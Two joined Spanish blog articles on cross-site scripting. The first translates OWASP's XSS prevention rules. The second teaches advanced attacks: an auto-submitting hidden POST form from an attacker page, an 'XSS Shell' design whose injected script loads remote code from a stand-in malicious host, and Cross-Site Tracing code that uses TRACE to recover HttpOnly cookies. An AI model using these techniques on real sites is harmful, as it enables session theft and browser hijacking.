La OWASP nos provee 6 reglas (http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) para evitar ataques del tipo XSS. El artículo trata el problema de forma general y no ofrese una solución concreta para un lenguaje en particular, de eso deberá encargarse el programador. Estas reglas están muy bien pensadas y cubren todo lo que he tratado hasta aquí, si es que se implementan correctamente... claro.
A continuación les traduzco los principios básicos de cada regla, para la información completa diríganse a la fuente original:


Regla #0 - Nunca insertar datos no confiables excepto en lugares permitidos

La regla cero nos dice, negar todo!, es decir, no colocar ningún dato ingresado por el usuario en el HTML a menos que esté incluído en alguna de las reglas #1 a #5. Esta regla sirve como complemento a todas las demás, es decir, si no está incluido en las otras reglas, entonces no lo incluyas en tu HTML!
<script>...NUNCA PONER DATOS NO CONFIABLES AQUI...</script> directamente en un script

<!--...NUNCA PONER DATOS NO CONFIABLES AQUI...--> dentro de un comentario HTML

<div ...NUNCA PONER DATOS NO CONFIABLES AQUI...=test /> en el nombre de un atributo

<...NUNCA PONER DATOS NO CONFIABLES AQUI... href="/test" /> en el tag de un nombre


Regla #1 - Escapear HTML antes de insertar datos no confiables en el contenido de un elemento HTML
Esta regla sirve para cuando queremos poner datos no confiables directamente en algún lugar del cuerpo HTML. Esto incluye dentro de todos los tags conocidos como div, p, b, td, etc.
<body>...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...</body>

<div>...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...</div>

aplicar para cualquier otro elemento HTML.

Para escapar los datos no confiables, aplicar lo que expliqué en la sección "Escapando caracteres claves".


Regla #2 - Escapear atributos antes de insertar datos no confiables en atributos HTML comunes

Esta regla se utiliza para colocar datos no confiables dentro de atributos como width, name, value, etc. Esto no debería usarse para atributos complejos como href, src, style, o cualquiera de los even handlers como onMouseOver. Es extremadamente importante que para los even handlers se siga la regla #3.
<div attr=...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...>contenido</div> dentro de atributos sin comillas

<div attr='...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...'>contenido</div> dentro de atributos con comillas

<div attr="...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...">contenido</div> dentro de atributos con comillas dobles

Excepto los caracteres alfanuméricos, escapar todo caracter con valores ASCII menores a 256, con el formato #xHH (es decir, valor hexa) para evitar el problema de salirse de los atributos (como el ejemplo citado en "Escapando lo anterior estamos salvados?").


Regla #3 - Escapear JavaScript antes de insertar datos no confiables en datos JavaScript
Como tercer regla tenemos la concerniente a los event handlers de JavaScript que pueden ser especificados en varios elementos HTML. El único lugar seguro para poner datos no confiables es dentro de comillas.
<script>alert('..ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...')</script> dentro de un string entre comillas

<script>x='...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...'</script> a un lado de una expresión entre comillas

<div onmouseover='...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...'</div> dentro de un event handler entre comillas

Excepto los caracteres alfanuméricos, escapar todo caracter con valores ASCII menores a 256, con el formato #xHH (es decir, valor hexa) para evitar el problema de cambiar del contexto de datos al contexto script o en otro atributo. No utilizar escapeadores como la barra invertida porque los caracteres como las comillas serán reemplazados por su codificación HTML correspondiente.


Regla #4 - Escapear CSS antes de insertar datos no confiables en propiedades HTML de estilo

Esta regla existe para los casos en que se desee colocar datos no confiables en una hoja de estilo o en un tag de estilo. Debido al poder de CSS para realizar ataques, es importante que sólo se coloquen datos no confiables dentro del valor de una propiedad y no en otros lugares de los datos de estilo. Sobre todo debe tenerse mucho cuidado de no colocar datos no confiables en propiedades como url, behaviour, y custom. Lo mismo se aplica a las expresiones de propiedad de IE, las cuales permiten JavaScript.
<style>selector { property : ...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...; } </style> valor de propiedad

<span style=property : ...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...;>text</style> valor de propiedad

Excepto los caracteres alfanuméricos, escapar todo caracter con valores ASCII menores a 256, con el formato #xHH. No utilizar escapeadores como la barra invertida porque los caracteres como las comillas serán reemplazados por su codificación HTML correspondiente.


Regla #5 - Escapear URL antes de insertar datos no confiables en atributos URL

La última regla de esta lista se utiliza para los casos en que deseamos colocar datos no confiables en un link que apunta a otro lugar. Esto incluye a los atributos href y src. Existen otros atributos de locación, pero no es recomendable colocar datos no confiables en ellos. Algo importante de remarcar es que resulta muy mala idea colocar datos no confiables en URLs javascript:, pero de ser necesario se puede utilizar la regla #3 para ello.
<a href=http://...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...>link</a > un link normal

<img src='http://...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...' /> fuente de una imagen

<script src="http://...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI..." /> archivo script

Excepto los caracteres alfanuméricos, escapar todo caracter con valores ASCII menores a 256, con el formato #xHH. Incluir datos no confiables en URLs data: no debería estar permitido, debido a que no hay una buena forma de deshabilitar ataques con escapeado para prevenir el salirse de la URL.


Fumata final

Como pudieron ver a lo largo del artículo, la prevención de XSS no es la pavada que puede parecer al principio. Agregar editores de texto enriquecido (osea, aceptar código HTML ingresado por el usuario) complica considerablemente las cosas. Hay que tener mucho cuidado de codificar todo lo ingresado por el usuario, y evitar, siempre que se pueda, colocar datos no confiables en lugares peligrosos como dentro de un script.
Nunca se debe confiar en el browser del cliente. Distintos motores renderizan las cosas a su gusto y muchas veces de forma peligrosa. Por ejemplo, los browsers aceptan tags mal formados como <script (sin el > que cierra). Como pueden leer en las referencias, IE puede hacer cosas locas al intentar decifrar la codificación de caracteres o el contenido de un documento... Firefox también tiene problemas como el uso de la directiva moz-binding para incluir XML.
En fin, la vida del programador no es para nada fácil, pero es importante que al menos tengan noción de los peligros que enfrentan, y tratar de aplicar las 6 reglas que propone OWASP para minimizar riesgos.

Recomiendo altamente la lectura del documento ArticlesXSS de la sección Web Security de los HOWTO de google. También es una exelente lectura el libro XSS Attacks, pero este es pago y tal ves no puedan obtenerlo. Por supuesto que es indispensable leer los artículos de la OWASP para programar de forma segura.

La realización de este artículo me llevó mucho más tiempo que la de los dos anteriores, encontré mucho material y traté de incluir todo lo más relevante. Espero que les sea de utilidad, tanto para programadores como para entusiastas o simples aprendices =)
Si bien con esto cerraría la parte más grosa de XSS, espero poder escribir antes de terminar diciembre algunos complementos más, como el de ataques relacionados, o el de herramientas para detección de XSS. Como siempre, si tienen material para agregar, dejen referencias en los comentarios y tal vez lo incluya en un artículo versión "Lost Chapters" =)


Referencias

- XSS Attacks - Cross Site Scripting Exploits and Defence (Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anto Rager, Seth Fogie)
- XSS (Cross Site Scripting) Prevention Cheat Sheet - OWASP
- ArticlesXSS - Web Security - Google
- How To: Prevent Cross-Site Scripting in ASP.NET
- XSS (Cross Site Scripting) Cheat Sheet (RSnake)
- Browser Security Handbook
- Data Validation - OWASP

Fuente: http://itfreekzone.blogspot.com/2009/12/combatiendo-el-cross-site-scripting.html

Rompiendo a lo grande: XSS avanzado

En el artículo anterior de XSS les comenté de qué trataba el ataque, los distintos tipos de ataque (reflejado o persistente), distintas combinaciones para escapar controles del programador, cómo usar distintos tags, formas de engañar al usuario y cómo robar cookies.

La idea es ahora comentar técnicas avanzadas de cross-site scripting, con ataques más rebuscados e interesantes.

Sin más introducción, pasemos entonces a los ataques!


XSS usando el método POST

Por si no lo recuerdan, todos los ataques explicados en el artículo anterior se basaban en el método HTTP GET, sacando el caso del XSS persistente. La razón de esto es que las variables usando el método GET van en la URL, por lo que para realizar el ataque sólo es necesario que el usuario abra un link armado por el atacante.
Para refrescar un poco la memoria, tomen en cuenta el ejemplo donde el script imprimía todo lo pasado por parámetro. Si el parámetro se envía con el método GET, el atacante sólo debería armar una URL del estilo http://www.ejemplo.com/vulnerable.php?param=<SCRIPT>alert('XSS');</SCRIPT>

Ahora piensen en el método HTTP POST. Cuando se usa POST las variables van dentro del cuerpo del mensaje HTTP. Para el que no conozca HTTP, el protocolo cuenta con dos partes, un HEADER donde van distintos parámetros (como la URL que solicitamos y los parámetros GET, el tipo de browser, el sistema operativo, el tipo del mensaje, las cookies, etc), y el CONTENIDO (donde va la página -html,img,xml,etc- en si, o los parámetros POST). El que se encarga de manejar el protocolo del lado del cliente es el browser, el cual arma los paquetes HTTP. Para un usuario es fácil manipular los parámetros GET porque van en la URL, pero no es tan simple manipular los parámetros POST.

Un pedido POST no se puede armar con los parámetros en la URL, así que necesitamos de un formulario. Pero cómo utilizamos un formulario en un ataque XSS no persistente? La respuesta es, usando una página intermedia.
Una vez que el atacante descubre una vulnerabilidad XSS en un parámetro POST de una página www.buenovulnerable.com/vulnerable.php, éste arma un formulario en una página que puede modificar (ya sea en un servidor propio o uno hackeado, pero no viene al caso) como ser www.malomalo.com/xsspost.php. Lo que hace a continuación es enviar al usuario víctima la URL de su página con algún texto que lo incite a visitarla. Cuando el usuario ingresa en www.malomalo.com/xsspost.php, ésta automáticamente envía los parámetros armados por el atacante a www.buenovulnerable.com/vulnerable.php la cual ahora contiene código de atacante (inyectado por XSS a través del método POST). Si el usuario estaba logueado, o utilizando la página www.buenovulnerable.com, el atacante podrá obtener cookies u otra información.

Vallamos al ejemplo phpeano. Por un lado tenemos la página vulnerable con el siguiente código:
Palabra buscada: <?php if(isset($_POST['search'])) print "<B>".$_POST['search']."</B>" ?>
<FORM ACTION="" METHOD="POST">
 <INPUT TYPE="TXT" NAME="search" SIZE="20">
 <INPUT TYPE="SUBMIT" VALUE="search">
</FORM>

Este ejemplo es igual al planteado en el artículo anterior, donde el script coloca la palabra buscada en el código php, osea, si la variable contiene HTML, el resultado será una página con el HTML incrustado por el atacante.
Dado que el ejemplo utiliza el método POST, necesitamos armar una página intermedia que haga el trabajo. La página intermedia contendrá el siguiente código:
<FORM NAME="attack" ACTION="http://www.buenovulnerable/vulnerable.php" METHOD="POST">
 <INPUT TYPE="HIDDEN" NAME="search" SIZE="20" VALUE="<SCRIPT>alert('XSS');</SCRIPT>">
</FORM>
<SCRIPT>
   setTimeout('attack.submit()', 1);
</SCRIPT>

Como se puede ver, esta página contiene una entrada de formulario con el mismo nombre que el input de la página anterior (el nombre search), pero a diferencia de la anterior, este input está oculto (tipo HIDDEN). Si un usuario visita la página del atacante, ésta cargará el valor <SCRIPT>alert('XSS');</SCRIPT> en la variable search y lo enviará a la página vulnerable. El envío automático lo realiza el código setTimeout('attack.submit()', 1); donde le decimos que haga un submit luego de 1 milisegundo cargada la página.
El resultado es que el usuario termina en la página vulnerable con el JavaScript incrustado, es decir, verá:
Palabra buscada: <B><SCRIPT>alert('XSS');</SCRIPT></B>
<FORM ACTION="" METHOD="POST">
 <INPUT TYPE="TXT" NAME="search" SIZE="20">
 <INPUT TYPE="SUBMIT" VALUE="search">
</FORM>

Esto es lo mismo que teníamos antes cuando el formulario usaba el método GET y el atacante utilizaba la URL http://www.buenovulnerable/vulnerable.php?search=<SCRIPT>alert('XSS');</SCRIPT>
De esta manera logramos un ataque sobre un formulario que utiliza el método POST en lugar de GET.

El problema de este ataque es que resulta un poco más evidente. Ahora el usuario deberá confiar en una URL externa en lugar de la URL de la página buena, pero el resultado es el mismo! Por lo general muchos usuarios visitan links de páginas dudosas, y con esta falencia sería posible realizar ataques interesantes.


XSS Shell

Luego de haber explorado algunas facetas del XSS nos metemos con los ataques más interesantes. Si todavía no se convencieron de lo peligroso que puede ser el XSS, luego de leer sobre el siguiente ataque lo van a hacer.

XSS Shell (tal vez conocido de otras formas) es un ataque donde el atacante puede manipular el browser de la víctima a través de un set de comandos, durante el tiempo que la víctima mantenga abierta la página afectada.
En un ataque simple, el usuario ejecuta un script malicioso que roba una cookie, manipula la página o alguna otra cosa y termina (una sola oportunidad de ataque). Pero con XSS Shell se utiliza un script que mantiene una conexión con un servidor maligno y responde a comandos enviados por éste. El atacante interactúa con el servidor maligno enviando comandos y recibiendo los resultados. En resumen, existe una conexión entre el servidor y la víctima por la cual un atacante puede enviar los comandos que desee, pudiendo realizar diferentes acciones con un sólo ataque XSS.

Programar el Shell no es tan trivial como en los ejemplos anteriores, así que sólo explicaré una posible forma de implementarlo en lugar de colocar el código en si.
Como se darán cuenta a partir de lo que expliqué arriba, este ataque cuenta con 3 piezas. Por un lado tenemos el servidor maligno, el cual se encarga del contacto con la víctima y de ser el front-end del atacante. Las otras dos partes son el programa que se ejecuta en la máquina de la víctima y el front-end del atacante. Esto se puede observar el la figura de abajo.


El código inyectado en la página primero se conecta al servidor malicioso para descargar el script encargado de recibir comandos y enviar resultados. Este código podría ser algo como el siguiente:
<script language='Javascript' src="http://www.malomalo.com/hack/command.js.php'></script>

El script descargado chequea cada cierto tiempo el servidor en busca de comandos a ejecutar, y si el comando genera algún resultado, el script lo devuelve al servidor. Para hacer este checkeo a intervalos podemos usar AJAX en conjunto con la función JavaScript setInterval (https://developer.mozilla.org/en/DOM/window.setInterval), la cual toma como parámetros una función a ejecutar y el intervalo de tiempo en milisegundos (opcionalmente se pueden pasar parámetros a la función a ejecutar).

Hasta acá ya tenemos el funcionamiento de la víctima, esto es, buscar comandos cada cierto tiempo, ejecutarlos, y enviar resultados cuando sea necesario.
Ahora pasemos al servidor malicioso. El servidor es el encargado de servir el script que ejecuta la víctima, a su vez se encarga de encolar comandos enviados por el atacante y enviarlos a la víctima cuando los solicite (recuerden que la conexión la inicia la víctima, así que el servidor espera a que la víctima pida los comandos). Además el servidor acumula los resultados enviados por las diferentes víctimas (zombies). Un servidor bien hecho puede administrar varios zombies a la vez, así que debe mantener colas separadas de comandos para cada zombie.
Por otro lado, debe encargarse de presentar un front-end para el atacante, el cual podrá seleccionar diferentes comandos y diferentes zombies para que los ejecuten. El atacante también será capaz de obtener datos de los zombies, como cookies, credenciales, etc.

Como se pueden ir imaginando, a través de un XSS Shell se puede tener muchísima funcionalidad y hacer cosas extremadamente graves. Sólo para citar algunos ejemplos de lo que podríamos hacer utilizando este ataque, les dejo la siguiente lista:
- Robo de cookies
- Obtener página actual
- Ejecutar JavaScript arbitrario
- Obtener los movimientos del mouse
- Obtener las teclas presionadas (keylogger)
- Crashear el browser
- Acceso a páginas a través de la víctima (proxy/tunneling)
- Obtener historial de páginas visitadas (usando técnicas como la descripta en mi anterior artículo: Robando información del historial (sin usar JavaScript!))
- Escaneo distribuido de puertos
- Bindshell IPC (enviar comandos a otra máquina en la LAN de la máquina zombie)
- Otros.........

La mayoría de los ataques se pueden realizar como consecuencia del XSS, pero tener un XSS Shell nos permite realizar tantos ataques como deseemos, mientras dure la conexión.

Existen herramientas muy interesantes para probar estos problemas y ver como funcionan:
- BeEF browser exploitation framework - para mi el más completo.
- XSS-Proxy
- XSS Shell


Cross-Site Tracing (XST)

Esta ataque utiliza el XSS en conjunto con el método HTTP TRACE para obtener datos que a través del XSS solo no se podrían obtener.
Comencemos describiendo un poco el método HTTP TRACE. Este método se utiliza/ba para debugging de los servidores Web y viene activado por defecto en muchos servers. Lo único que hace es repetir toda información enviada por el cliente al server, es algo así como un echo. Un ejemplo del método Trace sería como sigue:
$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:07:16 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 50

TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba

Como se observa, el servidor responde exactamente lo mismo que le enviamos en el pedido. La parte útil para el ataque, es que si armamos un pedido HTTP TRACE desde el browser a una página en la cual se utilizan cookies, el servidor nos responderá copiando las cookies de regreso. Por ejemplo, podríamos obtener el siguiente comportamiento:
$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:15:26 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 73

TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn

Ustedes dirán, si podemos obtener la cookie enviada por el browser a través de XSS, para qué necesitamos el método TRACE? bueno resulta ser que hay casos en los que no es posible obtener las cookies utilizando JavaScript (u otro lenguaje script ejecutado en el browser).
En browsers como IE6 SP1 y posteriores o Firefox 2.0.0.5 y posteriores, existe una opción de seguridad llamada HttpOnly cookies. Cuando un servidor web envía el parámetro HttpOnly dentro de las cookies, el browser no debería permitir que las cookies sean accesibles utilizando scripts como JavaScript. Esto es, si la opción HttpOnly está activada, una llamada a document.cookie nos devolverá vacío, aún cuando existan cookies. Utilizando esta propiedad se previene el robo de cookies explotando vulnerabilidades XSS, lo cual es muy bueno.
Aca es donde entra en juego el XST. A través de XST se pueden obtener cookies aún cuando está activada la característica HttpOnly. Si armamos un pedido HTTP TRACE desde el browser, éste incorporará la cookie como parte del header (la cual todavía no podemos acceder). Ahora, cuando el servidor responda al pedido TRACE, éste incluirá la cookie como parte de la respuesta... bingo! ahora tenemos la cookie que tanto deseabamos.

Cómo es posible armar un pedido HTTP TRACE utilizando JavaScript? distintos browsers tienen distintos métodos. Para ejemplificar, les dejo los métodos usados por los dos browsers más conocidos, IE y Firefox.
Una forma de realizar este trabajo en Internet Explorer es utilizando el control ActiveX XMLHTTP. Un ejemplo de cómo utilizar esto para obtener cookies es el siguiente (tomado del paper CROSS-SITE TRACING (XST) de Jeremiah Grossman):
<script type="text/javascript">
<!--
function sendTrace () {
    var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    xmlHttp.open("TRACE", "http://foo.bar",false);
    xmlHttp.send();
    xmlDoc=xmlHttp.responseText;
    alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

En firefox la función a utilizar es muy similar:
<script type="text/javascript">
<!--
function sendTrace()
{
   xhttp=new XMLHttpRequest();
   xhttp.open("TRACE", "http://foo.bar",false);
   xhttp.send();
   xmlDoc=xhttp.responseXML;
   alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

El uso de estas funciones tienen una restricción: no permiten al browser conectarse a otro dominio que no sea el de la página que está mostrando. Pero esto igualmente no es problema para realizar el ataque.


Pensamientos Finales

Como habrán podido observar, el XSS es una vulnerabilidad extremadamente riesgosa cuando es explotada por gente que sabe (o que buscó un poco en internet). Espero con este par de artículos haber demostrado el peligro, lo poderosos que pueden ser los ataques, que el XSS no es simplemente un alert('XSS'); De este ataque no se salvó ni google, el cual tuvo que reparar sus sites en más de una ocación.
La sencillez del ataque hace que a simple vista parezca inofensivo y resulta poco respetado, pero no se dejen engañar por las apariencias.

En muchos casos el ataque necesita del factor "usuario desprevenido", pero todos sabemos lo fácil que es aprovechar esta clase de usuarios y que seguramente más de una vez nos ha tocado serlo.
Ahora gracias a twitter se utilizan mucho las tinyURL, las cuales ocultan la verdad detras del link a visitar, algo que impone un riesgo extra. Además, como vimos en el artículo Ocultando URLs con JavaScript, es muy fácil ocultar el verdadero destino de un link.
Por otro lado, el uso de iframes ocultos en la página hace posible que visitemos páginas sin darnos cuenta! Tal vez estemos visitando una página que es perfectamente legal a simple vista, pero que en sus entrañas tenga un iframe que hace a nuestro browser enviar pedidos a una página vulnerable a XSS y así robar cookies.
Formas de hacer que nuestro ataque funcione existen muchas, tal vez para hacer otro artículo, así que por ahora lo dejo aca.


Todavía no termina

Exactamente lo que dice el título, todavía no estoy dispuesto a abandonar el XSS, porque todavía tengo varias cosas interesantes para contar. Por un lado quiero mostrar formas de prevenir el XSS desde la programación, a su vez quiero citar algunas herramientas comerciales y libres que se pueden utilizar para testear esta vulnerabilidad. Por si fuera poco, en un artículo más estaré explicando ataques relacionados al XSS pero que no entran en la definición concreta de este, como ser el Cross-Site Request Forgery (CSRF) o el Cross-zone Scripting...
Si da el tiempo y todavía no se pudrieron del XSS, también me gustaría hablar de un paper sobre cómo evadir controles CSRF usando XSS.
Si leen o conocen de algún otro ataque XSS que no halla citado, haganmelo saber y hablo sobre él en algún artículo adicional.
Hay letra para rato, así que como suelo decir, stay tuned.


Referencias

- Advanced Cross Site Scripting (Gavin Zuchlinski)
- XSS Tunnelling - Tunnelling HTTP traffic through XSS Channels (Ferruh Mavituna)
- Advanced Cross-Site-Scripting with Real-time Remote Attacker Control (Anton Rager)
- CROSS-SITE TRACING (XST) (Jeremiah Grossman)

Fuente: http://itfreekzone.blogspot.com/2009/12/rompiendo-lo-grande-xss-avanzado.html